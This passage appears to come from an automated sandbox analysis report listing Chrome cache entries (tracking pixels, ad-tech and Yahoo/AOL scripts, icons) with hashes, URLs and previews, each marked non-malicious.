SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=28&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503727748&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=26&ns_st_cn=1&ns_st_ev=pause&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=13&ns_st_asq=13&ns_st_sq=13&ns_st_po=3262&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=-1&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=3262&ns_st_ipt=6&ns_st_iap=6&ns_st_iet=6&ns_st_iupc=6&ns_st_iupa=6&ns_st_ilpc=6&ns_st_ilpa=6&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=1&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=6&ns_st_ap=3262&ns_st_dap=6&ns_st_et=10614&ns_st_det=6&ns_st_upc=3262&ns_st_dupc=6&ns_st_upa=3262&ns_st_dupa=6&ns_st_lpc=3262&ns_st_dlpc=6&ns_st_lpa=3262&ns_st_dlpa=6&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=13&ns_st_pp=13&ns_st_pa=3262&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 558

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 559

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=unruly&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003&us_privacy=1YNN
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 560

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8064), with no line terminators
Category:	downloaded
Size (bytes):	8064
Entropy (8bit):	5.245040884595144
Encrypted:	false
SSDEEP:	192:12JhEIVHpBTbxWGDX4WxEn02lOTlcWbBCNUs5Wg6TWh:12JhEwpB/EGDoWun02oBcSAUi66h
MD5:	D1360A16026C224F7DD9D13AC565D5AD
SHA1:	34124B0059269D90C5AE64B07D837D9170069D1D
SHA-256:	EDA66327F9E3612AF7BAC1CF55BAFA77872DDB6735BDBDCF97DD39B8FD744725
SHA-512:	8BDC40309E639E80E1F79BF23827F558688753F241911CC22B44FFB13B75FF8A884A6FD81C470D211B9AD494773D7164F7EDF10BA7F29B3DD44C24BB09B845C9
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-autocomplete-1.31.8-6d742e966c.chunk.js
Preview:	webpackJsonpwafer_wafers_wafer_autocomplete([0],{"./src/types recursive ^\\.\\/.$":function(e,t,s){function a(e){return s(r(e))}function r(e){var t=i[e];if(!(t+1))throw new Error("Cannot find module '"+e+"'.");return t}var i={"./aol-location":"./src/types/aol-location.js","./aol-location.js":"./src/types/aol-location.js","./aol-markets":"./src/types/aol-markets.js","./aol-markets.js":"./src/types/aol-markets.js","./aol-recipes":"./src/types/aol-recipes.js","./aol-recipes.js":"./src/types/aol-recipes.js","./gossip":"./src/types/gossip.js","./gossip.js":"./src/types/gossip.js","./sports-teams":"./src/types/sports-teams.js","./sports-teams.js":"./src/types/sports-teams.js","./weather":"./src/types/weather.js","./weather.js":"./src/types/weather.js"};a.keys=function(){return Object.keys(i)},a.resolve=r,e.exports=a,a.id="./src/types recursive ^\\.\\/.$"},"./src/types/aol-location.js":function(e,t,s){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.getListMarkup=function(){v

Chrome Cache Entry: 561

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64746)
Category:	downloaded
Size (bytes):	463350
Entropy (8bit):	5.511112111777634
Encrypted:	false
SSDEEP:	6144:qAyEfHXyKV0Per740k5sM9Aq0ebl4rmTEybQMgEsCRF1mXhVP:NyEEPXTEy3gEF1mzP
MD5:	6D282A1E65CC9B56F4CE1D5A91D66322
SHA1:	5E2F8E36C4EA6E46817CCCE9F41C6BC7E186D2DB
SHA-256:	417C7E1B793DAB1354DAA456A61F7344F780AD31FFF8E4FEF024F4997F29942E
SHA-512:	C2BF0A8753EF84A2ADD279CEB6DF4073FB29FF5F8730A06DD1A90A65B8448AA7C7C3F8420932566AD98CD51B5985E205A35658EF603770EC6F86E97B36BCB967
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/pagead/managed/js/gpt/m202405220101/pubads_impl.js?cb=31083928
Preview:	(function(_){/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 ./ ./ . . SPDX-License-Identifier: Apache-2.0 ./ ./ . . . Copyright (c) 2015-2018 Google, Inc., Netflix, Inc., Microsoft Corp. and contributors . Licensed under the Apache License, Version 2.0 (the "License"); . you may not use this file except in compliance with the License. . You may obtain a copy of the License at . http://www.apache.org/licenses/LICENSE-2.0 . Unless required by applicable law or agreed to in writing, software . distributed under the License is distributed on an "AS IS" BASIS, . WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. . See the License for the specific language governing permissions and . limitations under the License. .*/ .var ca,da,ka,la,ma,na,pa,oa,wa,Ba,Ia,Ka,Na,Pa,Ra,Xa,Va,Ya,Za,$a,ab,bb,db,eb,fb,ib,kb,lb,mb,qb,rb,ub,yb,Bb,Db,Eb,Jb,Lb,Kb,Ob,Pb,Gb,Qb,Rb,Sb,Vb,Wb,Yb,Zb,$b,dc,ec,hc,lc,mc,oc,qc,sc,tc,vc,zc,Ac,Ec,Gc,Hc,Ic,Qc,Rc,Sc

Chrome Cache Entry: 562

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2029
Entropy (8bit):	7.458637861515891
Encrypted:	false
SSDEEP:	48:pegcoEZ123hngOJC/HKDbFGMTN2YBdwbs48WFKOHQtWGNWMlf:pegctn2JMiGwzdwgtNPf
MD5:	4B09CFD000B1A22A1D9431F33281BB8F
SHA1:	535857B8FA805C98887F0CA9D403A5FE23BE91EF
SHA-256:	DC2846C5561A11F794DFF9B3F168E783F12B32E0DA3F3C1CC60AD6D5EBA48A18
SHA-512:	2BB09629134DE08BA5D0C810F82231840FB6BF5EB1BFB7C0C3ABA822F02700B1DD5E5BA1F7D459552E545D5E4BA3C318B0B7FF48F330ADBFBCAE3DE5BC47FF5D
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FXHFwznD4f5UxmqWl6KykpQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fwhitesox_wbg.png&client=76f99bdb8f78cd44cc0b&signature=86515300c6be95bc1e98a2bf808cddea0b19a784
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL..............................................................................................................................................................................................................................................................................................................................................................................)))mmm............222......666...............XXX.........000...................^^_...stt...###...&&&............QQQAAA ...............GGG===........~........Z[[!!!......---...444...hhh...;;;......aab......\|}}...............LLL......NOO:::............\\\...vww............zz{.........jjk.......DDD.....................................................rrr......WWW.................aaaeef888.......mtRNS..........%.......^I...{....>1..K6....NX..r..Be...hS.o....:.......w...F.\u@...C........b..\.;.....=.#Y......../IDATH..gT.g....p....0b.X0..{7...^.{{Cz....:....b.....bA.

Chrome Cache Entry: 563

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=9&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503723462&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=7&ns_st_cn=1&ns_st_ev=play&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=4&ns_st_asq=4&ns_st_sq=4&ns_st_po=1429&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=8571&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=1429&ns_st_ipt=0&ns_st_iap=0&ns_st_iet=308&ns_st_iupc=0&ns_st_iupa=0&ns_st_ilpc=0&ns_st_ilpa=0&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=0&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=0&ns_st_ap=1429&ns_st_dap=0&ns_st_et=6328&ns_st_det=308&ns_st_upc=1429&ns_st_dupc=0&ns_st_upa=1429&ns_st_dupa=0&ns_st_lpc=1429&ns_st_dlpc=0&ns_st_lpa=1429&ns_st_dlpa=0&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=3&ns_st_pp=3&ns_st_pa=1429&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 564

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=7&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503722948&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=5&ns_st_cn=1&ns_st_ev=play&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=3&ns_st_asq=3&ns_st_sq=3&ns_st_po=1223&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=8777&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=1223&ns_st_ipt=0&ns_st_iap=0&ns_st_iet=30&ns_st_iupc=0&ns_st_iupa=0&ns_st_ilpc=0&ns_st_ilpa=0&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=0&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=0&ns_st_ap=1223&ns_st_dap=0&ns_st_et=5814&ns_st_det=30&ns_st_upc=1223&ns_st_dupc=0&ns_st_upa=1223&ns_st_dupa=0&ns_st_lpc=1223&ns_st_dlpc=0&ns_st_lpa=1223&ns_st_dlpa=0&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=2&ns_st_pp=2&ns_st_pa=1223&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 565

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=18&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503726873&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=16&ns_st_cn=1&ns_st_ev=pause&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=8&ns_st_asq=8&ns_st_sq=8&ns_st_po=3223&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=-1&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=3223&ns_st_ipt=161&ns_st_iap=161&ns_st_iet=161&ns_st_iupc=161&ns_st_iupa=161&ns_st_ilpc=161&ns_st_ilpa=161&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=1&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=161&ns_st_ap=3223&ns_st_dap=161&ns_st_et=9739&ns_st_det=161&ns_st_upc=3223&ns_st_dupc=161&ns_st_upa=3223&ns_st_dupa=161&ns_st_lpc=3223&ns_st_dlpc=161&ns_st_lpa=3223&ns_st_dlpa=161&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=8&ns_st_pp=8&ns_st_pa=3223&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 566

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=133799&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 567

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5504)
Category:	downloaded
Size (bytes):	5556
Entropy (8bit):	5.2857072176183015
Encrypted:	false
SSDEEP:	96:a95qSDEAtjkKJmz/srLIaZI3Eq/XIaZI3Ek/gIaZI3ElYUw3ODK/nKoq70scXwMj:I55YK7Jmz/k0aZgEq/YaZgEUNaZgEj2N
MD5:	1229C537C90BEA4F08C34F64EDD086DA
SHA1:	08C48A5DC7A077C3016C2668D3C603C72A9511A4
SHA-256:	71CE6BD3E93582FDD9EE51370258D11E1F53785DCCF1959440E408847C9B674B
SHA-512:	CED9F01991BC4440355DB4C1C980C16E05423543A5AADC80F26C1129AFE380306118099DDC620E06203EBB9E4E4071B43BFDAE4B76DACECAFAAAB11FA5F230D3
Malicious:	false
Reputation:	low
URL:	https://consent.cmp.oath.com/cmpStub.min.js
Preview:	/! CMP 6.4.1 Copyright 2018 Oath Holdings, Inc. /.!function(){var e={4184:function(e){"use strict";function t(e){return(t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}e.exports=function(){for(var e,n,a=[],s=window,r=s;r;){try{if(r.frames.__tcfapiLocator){e=r;break}}catch(e){}if(r===s.top)break;r=r.parent}e\|\|(function e(){var t=s.document,n=!!s.frames.__tcfapiLocator;if(!n)if(t.body){var a=t.createElement("iframe");a.style.cssText="display:none",a.name="__tcfapiLocator",t.body.appendChild(a)}else setTimeout(e,5);return!n}(),s.__tcfapi=function(){for(var e=arguments.length,t=new Array(e),s=0;s<e;s++)t[s]=arguments[s];if(!t.length)return a;"setGdprApplies"===t[0]?t.length>3&&2===parseInt(t[1],10)&&"boolean"==typeof t[3]&&(n=t[3],"function"==typeof t[2]&&t[2]("set",!0)):"ping"===t[0]?"function"==typeof t[2]&&t[2]({gdprApplies:n,c

Chrome Cache Entry: 568

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	733
Entropy (8bit):	5.0890758327857375
Encrypted:	false
SSDEEP:	12:TMHdVZnnlRR/KYcYSF1+4HkpJqeaxM23pXqFwt5viVHrDdz6:2dznnbRLkFEvqeaxM23p6FwtAVLo
MD5:	F456007284E4510464D9DFDDABD3FB0E
SHA1:	3599ABDE3AA91ED0FF10EA647993335D9266FC4D
SHA-256:	C25F3A57F7858DE738E2F3CD49AE322E7D02D70484CF7B6DDE7DE302EB033AA8
SHA-512:	A2DC2A32B68DC7A9ED3184C6B122EEA834590B95FF69CF1EF7397A1700978992B11E9E4E5FFF3740AB8EC851776F6F43C45B0335322EE2AED21CADEF5E6469B1
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/wm/mbr/images/checkbox-unchecked.svg
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg width="16px" height="16px" viewBox="0 0 16 16" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. Generator: Sketch 59 (86127) - https://sketch.com -->. <title>Tick_Checkbox_No</title>. <desc>Created with Sketch.</desc>. <g id="Account-Access" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">. <g id="User-Name_Desktop_01" transform="translate(-24.000000, -336.000000)" stroke="#B9BDC5">. <g id="Tick_Checkbox_No" transform="translate(24.000000, 336.000000)">. <rect id="Rectangle" x="0.5" y="0.5" width="15" height="15" rx="2"></rect>. </g>. </g>. </g>.</svg>

Chrome Cache Entry: 569

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	2162
Entropy (8bit):	4.655663585165413
Encrypted:	false
